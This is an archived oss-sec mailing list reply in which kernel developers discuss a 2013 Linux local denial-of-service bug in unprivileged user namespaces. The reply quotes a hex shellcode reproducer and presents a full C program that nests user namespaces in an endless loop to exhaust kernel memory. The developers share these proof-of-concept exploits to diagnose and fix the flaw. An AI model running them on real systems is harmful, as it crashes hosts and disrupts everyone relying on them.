oss-sec mailing list archives

Re: CLONE_NEWUSER local DoS


From: Andy Lutomirski <luto () amacapital net>
Date: Tue, 6 Aug 2013 11:12:56 -0700

On Tue, Aug 6, 2013 at 9:47 AM, Oleg Nesterov <oleg () redhat com> wrote:
On 08/06, Petr Matousek wrote:

spender reported [1] a local DoS triggerable by unprivileged user when
user namespaces are enabled (CONFIG_USER_NS).

  [1] https://twitter.com/grsecurity/status/364566062336978944

Reproducer:

b836010000bb00000010cd80ebf2 is for(;;)unshare(1<<28);

What happens? OOM?

I'll recheck, but at first glance this is simple, unshare_userns()
populates new_cred which is not freed by bad_unshare_cleanup_fd
if create_user_ns() fails. And create_user_ns() _should_ fail (iiuc)
when CLONE_NEWUSER is called for the second time and later due to
!kuid_has_mapping().

I'll send the patch, but perhaps there is something else. Eric?

I think that's right.  OTOH, it's not going to prevent this from OOMing:

#define _GNU_SOURCE
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <err.h>

#ifndef CLONE_NEWUSER
#define CLONE_NEWUSER 0x10000000
#endif

static void setmap(int is_gid, int outer)
{
  int fd = open(is_gid ? "/proc/self/gid_map" : "/proc/self/uid_map",
                O_RDWR | O_CLOEXEC);
  if (fd == -1)
    err(1, is_gid ? "open /proc/self/gid_map" : "open /proc/self/uid_map");
  char buf[128];
  sprintf(buf, "0 %d 1\n", outer);
  if (write(fd, buf, strlen(buf)) < 0)
    err(1, is_gid ? "write /proc/self/gid_map" : "write /proc/self/uid_map");
  close(fd);
}

int main(int argc, char **argv)
{
  pid_t outer_uid = geteuid(), outer_gid = getegid();

  while(1) {
    if (unshare(CLONE_NEWUSER) != 0)
      err(1, "unshare(CLONE_NEWUSER)");
    setmap(1, outer_gid);
    setmap(0, outer_uid);
    outer_uid = outer_gid = 0;
  }
}

--Andy


Current thread: